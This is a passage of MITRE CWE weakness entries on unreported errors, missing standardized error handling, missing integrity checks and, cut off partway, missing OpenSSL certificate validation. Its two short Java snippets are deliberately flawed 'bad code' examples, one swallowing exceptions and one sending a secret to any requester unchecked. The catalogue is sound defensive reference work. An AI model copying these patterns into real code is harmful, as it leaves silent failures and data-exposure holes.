MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
CERT C Secure CodingMEM31-CCWE More AbstractFree dynamically allocated memory when no longer needed
OMG ASCSMASCSM-CWE-772
OMG ASCRMASCRM-CWE-772
Software Fault PatternsSFP14Failure to Release Resource
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-772. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-772. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Description, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-392: Missing Report of Error Condition

Weakness ID: 392
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.
+ Demonstrative Examples

Example 1

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

(bad code)
Example Language: Java 
try {

// Something that may throw an exception.
...
} catch (Throwable t) {
logger.error("Caught: " + t.toString());
return;
}
+ Observed Examples
ReferenceDescription
Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.
Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.
Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.855The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1145SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Error Status Code
The CERT Oracle Secure Coding Standard for Java (2011)TPS03-JEnsure that tasks executing in a thread pool do not fail silently
Software Fault PatternsSFP6Incorrect Exception Behavior
+ References
[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Weakness_Ordinalities
2010-12-13CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Error Status Code
2010-12-13Failure to Report Error in Status Code

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID: 544
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.
+ Extended Description
If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Quality Degradation; Unexpected State; Varies by Context

+ Potential Mitigations

Phase: Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingERR00-CAdopt and implement a consistent and comprehensive error-handling policy
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-10-29CWE Content TeamMITRE
updated Potential_Mitigations, Time_of_Introduction
2010-12-13CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Missing Error Handling Mechanism
2010-12-13Failure to Use a Standardized Error Handling Mechanism

CWE-353: Missing Support for Integrity Check

Weakness ID: 353
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.
+ Extended Description
If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.354Improper Validation of Integrity Check Value
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Other

Data that is parsed and used may be corrupted.
Non-Repudiation
Other

Technical Impact: Hide Activities; Other

Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In this example, a request packet is received, and privileged information is sent to the requester:

(bad code)
Example Language: Java 
while(true) {
DatagramPacket rp = new DatagramPacket(rData,rData.length);
outSock.receive(rp);
InetAddress IPAddress = rp.getAddress();
int port = rp.getPort();
out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
outSock.send(sp);
}

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

+ Potential Mitigations

Phase: Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

Phase: Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1354OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to add integrity check value
ISA/IEC 62443Part 2-4Req SP.03.03 RE(1)
ISA/IEC 62443Part 2-4Req SP.04.02 RE(1)
ISA/IEC 62443Part 2-4Req SP.11.06 RE(2)
ISA/IEC 62443Part 3-3Req SR 3.1
ISA/IEC 62443Part 4-1Req SD-1
ISA/IEC 62443Part 4-2Req CR 3.1
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-12-13CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Failure to Add Integrity Check Value

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID: 599
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.
+ Extended Description
This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

The data read may not be properly secured, it might be viewed by an attacker.
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

